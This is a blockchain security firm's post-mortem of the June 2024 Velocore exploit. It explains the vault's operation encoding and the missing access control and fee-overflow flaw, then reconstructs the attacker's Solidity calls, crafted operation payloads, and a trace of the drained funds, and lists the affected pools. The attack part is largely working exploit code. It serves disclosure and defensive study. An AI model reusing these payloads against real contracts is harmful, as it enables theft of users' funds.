PostMortem — Velocore

Stuart
Zokyo_io
Published in
9 min read2 days ago

Prologue

On Saturday 1st June, 2024 Velocore came under siege by attackers on the Linea and the ZkSync blockchain where the Constant Product Pools suffered a loss of approximately $6.8 Million in ETH according to reports. This was due to flawed logic in the implementation of the CPP in conjunction with the violation of access controls to exploit an underflow to allow effective fees to be greater than 100%. This article is an analysis of the exploit used against Velocore and demonstrates how it was possible to extract the funds from the USDC-ETH Constant Product Pool (USDC-ETH-VLP — https://lineascan.build/token/0xe2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db )

How Does Velocore Work?

On a high level, Velocore is not your typical Automatic Market Maker protocol, it streamlines user interaction to an execute() function in the Velocore Vault contract with specially crafted operations. Let us consider a situation where we want to swap USDC for ETH.

A reference for our operations and how we arrive at the operation payloads before we begin:

    uint8 constant SWAP = 0;
uint8 constant GAUGE = 1;
uint8 constant CONVERT = 2;
uint8 constant VOTE = 3;
uint8 constant USERBALANCE = 4;

uint8 constant EXACTLY = 0;
uint8 constant AT_MOST = 1;
uint8 constant ALL = 2;

function toTokenInfo(bytes1 _tokenRefIndex,uint8 _method,int128 _amount) pure public returns (bytes32) {
return bytes32(bytes1(_tokenRefIndex)) | bytes32(bytes2(uint16(_method))) | bytes32(uint256(uint128(uint256(int256(_amount)))));
}
function toPoolId(uint8 _optype,address _pool) pure public returns (bytes32){
return bytes32(bytes1(_optype)) | bytes32(uint256(uint160(address(_pool))));
}

The user begins by defining the token references to be used by the contract:

Token[] memory tokens = new Token[](2);
tokens[0] = toToken(IERC20(usdc)); // 0x000000000000000000000000176211869ca2b568f2a7d4ee941e073a821ee1ff
tokens[1] = NATIVE_ETH; // 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee

The user will have to define how these tokens will interact with each other through operations. For this swap scenario, the operation will look like the following:

// Only 1 operation as we are just looking to swap USDC for ETH
VelocoreOperation[] memory operations = new VelocoreOperation[](1);

bytes32[] memory tokenInformation = new bytes32[](2); // Steps our operation will take
tokenInformation[0] = toTokenInfo(0x00,EXACTLY,1*1e6);
tokenInformation[1] = toTokenInfo(0x01,AT_MOST,0);
// The above information about the tokens is "Swap 1 * 1e6 of tokens[0] for token[1] with no slippage defined".
VelocoreOperation memory op = VelocoreOperation({
poolId: toPoolId(SWAP, address(cppUsdcEth)), // 0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db - 0 = SWAP, [Pool Address]
tokenInformations: tokenInformation,
data: ""
});
// Then store the operation in operations
operations[0] = op;

// Execute the operation
velocoreVault.execute(tokens, new int128[](2), operations);

Adding liquidity works similarly, we are just swapping two tokens for 1 LP token, which the attacker leveraged in this exploit after triggering the root cause. For example, the token information for the operation might look like the following with added LP Token for token references:

Token[] memory tokens = new Token[](3);
tokens[0] = toToken(IERC20(usdc)); // 0x000000000000000000000000176211869ca2b568f2a7d4ee941e073a821ee1ff
tokens[1] = NATIVE_ETH; // 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
tokens[2] = toToken(IERC20(cppUsdcEth)); // 0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db -> LP Token Reference

// Only one operation because we are only adding liquidity
VelocoreOperation[] memory operations = new VelocoreOperation[](1);

// "Swap 1*1e6 of my USDC and 0.001 of my ETH for at least 0 LP Tokens" (because we've no slippage for examples purposes)
bytes32[] memory tokenInformation = new bytes32[](3);
tokenInformation[0] = toTokenInfo(0x00,EXACTLY,1*1e6);
tokenInformation[1] = toTokenInfo(0x01,EXACTLY,0.001 ether);
tokenInformation[2] = toTokenInfo(0x02,AT_MOST,0);

VelocoreOperation memory op = VelocoreOperation({
poolId: toPoolId(SWAP, address(cppUsdcEth),
tokenInformations: tokenInformation,
data: ""
});
operations[0] = op;

// Execute VelocoreOperation
velocoreVault.execute(tokens, new int128[](2), operations);

Does that make sense? Great! I’m glad we’ve got that out of the way.

The Vulnerability and Attack

When the Velocore Vault attempts to execute an operation the internal _execute function will interact with the pool via velocore__execute() , this is where the first issue lies:

// . . . SNIP . . .
if (opType == 0) {
// swap
(int128[] memory deltaGauge, int128[] memory deltaPool) =
ISwap(opDst).velocore__execute(user, opTokens, opAmounts, op.data);
require(deltaGauge.length == opTokenLength && deltaPool.length == opTokenLength);
_verifyAndApplyDelta(cumDelta, IPool(opDst), opTokens, opTokenInformations, deltaGauge, deltaPool);
unchecked {
for (uint256 j = 0; j < opTokenLength; j++) {
deltaGauge.u(j, deltaPool.u(j) + deltaGauge.u(j));
}
}
emit Swap(ISwap(opDst), user, opTokens, deltaGauge);
} else if (opType == 1) {
// . . . SNIP . . .

And as it can be seen from the pool contract below, there are critical state changes which must only be made by the Vault but a modifier was not defined in order to prevent such actions and as a result, manifested significant access control violations:

function velocore__execute(address, Token[] calldata tokens, int128[] memory r, bytes calldata data)
external
returns (int128[] memory, int128[] memory)
{
if (data.length > 0) {
_return_logarithmic_swap();
}
uint256 effectiveFee1e9 = fee1e9;
if (lastWithdrawTimestamp == block.timestamp) {
unchecked {
effectiveFee1e9 = effectiveFee1e9 * feeMultiplier / 1e9;
}
}
// . . . SNIP . . .
unchecked {
uint256 unaccountedFeeAsGrowth1e18 = k >= 1e18
? 1e18
: rpow(1e18 - ((1e18 - k) * effectiveFee1e9) / 1e9, _sumWeight - sumUnknownWeight - sumKnownWeight, 1e18);
requestedGrowth1e18 = (requestedGrowth1e18 * unaccountedFeeAsGrowth1e18) / 1e18; // Used when determining g_ and g which is later used to update the feeMultiplier
}
// . . . SNIP . . .
}

The attacker demonstrated this in the first part of the exploit by calling velocore__execute() freely in order to simulate a large amount of swaps from USDC for LP Tokens:

  Token[] memory tokens = new Token[](2);
tokens[0] = _wrapToken(address(usdc));
tokens[1] = _wrapToken(address(cppUsdcEth));

int128[] memory amounts = new int128[](2);
amounts[0] = type(int128).max;
amounts[1] = 8616292632827688;

// ([Receiver] 0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a => 0xe2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db)
// .
// 0xec378808
// (user = 0x8cdc37ed79c5ef116b9dc2a53cb86acaca3716bf, => Exploiter
// tokens = [
// "0x000000000000000000000000176211869ca2b568f2a7d4ee941e073a821ee1ff", => USDC
// "0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db" => LP Token
// ],
// amounts = [
// "170141183460469231731687303715884105727",
// "8616292632827688"
// ],
// data = 0x
// )
// =>
(int128[] memory res1, int128[] memory res2) = cppUsdcEth.velocore__execute(address(this), tokens, amounts, "");
(res1, res2) = cppUsdcEth.velocore__execute(address(this), tokens, amounts, "");
(res1, res2) = cppUsdcEth.velocore__execute(address(this), tokens, amounts, "");
// res1 = [0, 0]
// res2 = [-587785597608 , 8616292632827688]

This was executed three times in the attacker’s contract in order to perform an overflow of the effectiveFee1e9 variable which then in turn caused an increase in the feeMultiplier state variable.

Once the attack had been set up, there were four Velocore Operations executed by the attacking contract. Similarly to when we discussed how Velocore works, the attacker first defined their token references which comprised of USDC, ETH and the USDC-ETH-VLP LP Token:

Token[] memory tokenRef = new Token[](3); 
tokenRef[0] = _wrapToken(address(usdc));
tokenRef[1] = _wrapNative();
tokenRef[2] = _wrapToken(address(cppUsdcEth));

int128[] memory deposit = new int128[](3);
deposit[0] = 0;
deposit[1] = 0;
deposit[2] = 0;

VelocoreOperation[] memory ops = new VelocoreOperation[](4);

Velocore Operations:

Note to the reader: The Token references may slightly differ to the attackers actual exploit contract, but the results remain similar.

// {
// "poolId":"0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db", => SWAP,address(cppUsdcETH)
// "tokenInformations":[
// "0x00000000000000000000000000000000ffffffffffffffffffffff787406ca5f", => 0x00,EXACTLY,-582168950177
// "0x010100000000000000000000000000007fffffffffffffffffffffffffffffff", => 0x01,AT_MOST,type(int128).max
// "0x020100000000000000000000000000007fffffffffffffffffffffffffffffff" => 0x02,AT_MOST,or type(int128).max
// ],
// "data":"0x"
// },

As it can be seen in the above code, the attacker defined three pieces of token information which was to swap a malformed amount of USDC and an arbitrary amount of LP Tokens for an arbitrary amount of ETH, the code for this looked like the following:

bytes32 poolId = toPoolId(SWAP, address(cppUsdcEth));
bytes32[] memory tokenInformations1 = new bytes32[](3);
tokenInformations1[0] = toTokenInfo(0x00, EXACTLY, -582168950177);
tokenInformations1[1] = toTokenInfo(0x02, AT_MOST, type(int128).max);
tokenInformations1[2] = toTokenInfo(0x01, AT_MOST,type(int128).max);
VelocoreOperation memory op1 = VelocoreOperation({
poolId: poolId,
tokenInformations: tokenInformations1,
data: ""
});
ops[0] = op1;

The second and the third operations were quite similar in nature where the attacker would continue to use a malformed amount of USDC and an arbitrary amount of LP to swap for ETH in order to extract the maximum amount of tokens:

// Operation #2
// {
// "poolId":"0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db", => SWAP,address(cppUsdcEth)
// "tokenInformations":[
// "0x00000000000000000000000000000000fffffffffffffffffffffffd4a0022c4", => 0x00,EXACTLY,-11643379004
// "0x010100000000000000000000000000007fffffffffffffffffffffffffffffff", => 0x01,AT_MOST,type(int128).max
// "0x020100000000000000000000000000007fffffffffffffffffffffffffffffff" => 0x02,AT_MOST,type(int128).max
// ],
// "data":"0x"
// },
poolId = toPoolId(SWAP, address(cppUsdcEth));
bytes32[] memory tokenInformations2 = new bytes32[](3);
tokenInformations2[0] = toTokenInfo(0x00,EXACTLY,-11643379004);
tokenInformations2[1] = toTokenInfo(0x02,AT_MOST,type(int128).max);
tokenInformations2[2] = toTokenInfo(0x01,AT_MOST,type(int128).max);
VelocoreOperation memory op2 = VelocoreOperation({
poolId: poolId,
tokenInformations: tokenInformations2,
data: ""
});
ops[1] = op2;

// Operation #3
// {
// "poolId":"0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db", => SWAP,address(cppUsdcEth)
// "tokenInformations":[
// "0x00000000000000000000000000000000fffffffffffffffffffffffff21eb904", => 0x00,EXACTLY,-232867580
// "0x010100000000000000000000000000007fffffffffffffffffffffffffffffff", => 0x01,AT_MOST,type(int128).max
// "0x020100000000000000000000000000007fffffffffffffffffffffffffffffff" => 0x02,AT_MOST,type(int128).max
// ],
// "data":"0x"
// },
poolId = toPoolId(SWAP, address(cppUsdcEth));
bytes32[] memory tokenInformations3 = new bytes32[](3);
tokenInformations3[0] = toTokenInfo(0x00,EXACTLY,-232867580);
tokenInformations3[1] = toTokenInfo(0x02,AT_MOST,type(int128).max);
tokenInformations3[2] = toTokenInfo(0x01,AT_MOST,type(int128).max);
VelocoreOperation memory op3 = VelocoreOperation({
poolId: poolId,
tokenInformations: tokenInformations3,
data: ""
});
ops[2] = op3;

The fourth and final operation was crafted in order to swap a small amount of USDC for an extremely large amount of LP Tokens which only included two pieces of token information:

// Operation #4 - Process withdraw of tokens stolen
// {
// "poolId":"0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db", => SWAP,address(cppUsdcEth)
// "tokenInformations":[
// "0x00000000000000000000000000000000ffffffffffffffffffffffffffffd8f0", => 0x00,EXACTLY,-10000
// "0x020100000000000000000000000000007fffffffffffffffffffffffffffffff" => 0x02,AT_MOST,type(int128).max
// ],
// "data":"0x"
// }

bytes32[] memory tokenInformationsFinal = new bytes32[](2);
poolId = toPoolId(SWAP, address(cppUsdcEth));
tokenInformationsFinal[0] = toTokenInfo(0x00,EXACTLY,-10000);
tokenInformationsFinal[1] = toTokenInfo(0x02,AT_MOST,type(int128).max);
VelocoreOperation memory op4 = VelocoreOperation({
poolId: poolId,
tokenInformations: tokenInformationsFinal,
data: ""
});
ops[3] = op4;

Finally, the specially crafted payload was executed against the Velocore vault:

int128[] memory res = velocoreVault.execute(tokenRef, deposit, ops);

This prompted the vault to respond and return an astronomical amount of tokens back to the attacker (Over half a million in USDC, a significant amount of LP Tokens, and approximately 155 ETH tokens):

    │   │   ├─ [33428] 0x176211869cA2b568f2A7D4EE941E073a821EE1ff::transfer(VelocoreExploit: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 594045206761 [5.94e11])
│ │ │ ├─ [32728] 0xab838fe7d492C621a5B1b23952Af99Cc37a2E0d3::transfer(VelocoreExploit: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 594045206761 [5.94e11]) [delegatecall]
│ │ │ │ ├─ emit Transfer(from: 0x1d0188c4B276A09366D05d6Be06aF61a73bC7535, to: VelocoreExploit: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 594045206761 [5.94e11])
│ │ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ ├─ [27954] 0xe2c67A9B15e9E7FF8A9Cb0dFb8feE5609923E5DB::transfer(VelocoreExploit: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], 26136074922783440684241601578599 [2.613e31])
│ │ │ ├─ emit Transfer(from: 0x1d0188c4B276A09366D05d6Be06aF61a73bC7535, to: VelocoreExploit: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], value: 26136074922783440684241601578599 [2.613e31])
│ │ │ └─ ← 0x0000000000000000000000000000000000000000000000000000000000000001
│ │ ├─ [67] VelocoreExploit::receive{value: 155165503281178836250}()
│ │ │ └─ ← ()

Because of this vulnerability, it was possible to trigger the exploit with no flash loan required from an external protocol such but rather taking advantage of accounting errors through overflows in order to extract an unintended amount of tokens.

The Aftermath and Learnings

From this vault alone (USDC-ETH-VLP), Velocore suffered a net loss of 155 ETH tokens and over half a million in USDC. The above attack was repeated for the following other pools using the same techniques described in this article on the Linea chain although pools on zkSync were also affected:

Block 5079177 (Linea Blockchain):

  • 0x820aaff56fa2f6ea552e86b7c2da541d67195d07 — USDT-ETH-VLP
  • 0x1d12e25e5516e5ad32f97fe9edc332bf4683f487 — wstETH-ETH-VLP
  • 0xd0e67ce5e72beba9d0986479ea4e4021120cf794 — USDC-MENDI-VLP
  • 0xf3e3ec2861850dfa6ba3f52a271f499afffb8087 — LVC-ETH-VLP
  • 0x99ee7251a051e5265c55a7bf9ffdf58d0fcacc2d — WBTC-ETH-VLP
  • 0xbd4b27dd15bc467d5285c0d7435663935b4b6f7f — USDC-wUSDK-VLP
    Funds destination for this block:
    0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a
    Deployed by: 0x8CDc37eD79C5EF116b9Dc2A53Cb86ACaca3716bF

Block 5078857 (Linea Blockchain):

  • 0x2c84ae8694d4ac22066995ef01d796fc8a29e5d7 — AVAX-ETH-VLP
  • 0xe5fe1421e90927e191edd02b35bcb46dc050ff20 — BUSD-ETH-VLP
  • 0x2f6b65f3d866bb145ae4efd76434e945ccee37ad — DAI-ETH-VLP
  • 0xcf5d0da448daa5e274131ecfca458beddcd45284 — LINDA-ETH-VLP
  • 0xee63656dc27213ce9a19ea3e0d541d9a7649baa7 — LYVE-ETH-VLP
  • 0x8303293327ee4be8fbd4dcbac885e17f73614061 — MANA-LINA-VLP
  • 0xd4e9b2e8d6b360980a3a75a3c69b3c3040a89008 — SCM-ETH-VLP
  • 0x5262e6e56d95fb9191f1b2127fd670e9b5e73200 — SIS-ETH-VLP
  • 0x860b933c1e6b4e558beb80a63467023ff8188344 — SIS-LVC-VLP
  • 0x7573f3284c91858450eb57c1f46c7354d901228d — wUSD-ETH-VLP
  • 0x2bd146e7d95cea62c89fcca8e529e06eec1b053c — wUSDT-ETH-VLP
    Funds destination for this block:
    0xc967b90fa8a8a365df3f76fe5f6d2856e79d4e90
    Deployed By: 0xD8C465ecd8c6f1a0C114890F1Ef553f82e59d274 (Please flag this address on Lineascan as it is not already)

Judging by the exploit contract and retracing the attacker's steps in an effort to achieve a successful recovery, this exploit required a substantial amount of precision from a determined attacker in order to obtain the final values passed to the Velocore Operations. In addition to this, the exploit would’ve had to have been executed algorithmically in order to create values that made sense for the other pools which were drained. An exploit of this caliber would have required a substantial amount of security research and rigorous testing under a variety of different market conditions performed by a skilled individual who may have a high amount of experience in this field.

The full exploit can be observed here: https://gist.github.com/chris-zokyo/7d88e8a01f2fa67f40e94ca83909b8e5

References:

About Zokyo

Zokyo (“augment” in Japanese) keeps pace with your in-house development team and provides blockchain security, design, and development talent to startups and enterprise organizations as needed. As a go-to web3 security, development, and investment partner working with some of the most progressive companies since 2019, we are highly experienced in tackling some of the most challenging problems with an entrepreneurial spirit.

With immediate access to in-demand skills ranging from security auditing, cryptography, white-hat hacking, mathematical specifications of network design, UI/UX design, QA, and full-stack engineering, we help legendary companies accelerate time to market and achieve their goals on time and on budget. Our clients demand and deserve best-in-class security and engineering support. As such, we at Zokyo are committed, passionate and proud to build a more secure Web3 future.

Website | LinkedIn | X | Get in Touch | Inquiries Telegram Bot

--

--